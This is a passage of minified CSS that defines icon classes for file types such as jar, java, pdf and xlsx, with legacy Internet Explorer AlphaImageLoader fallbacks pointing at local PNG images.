\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none 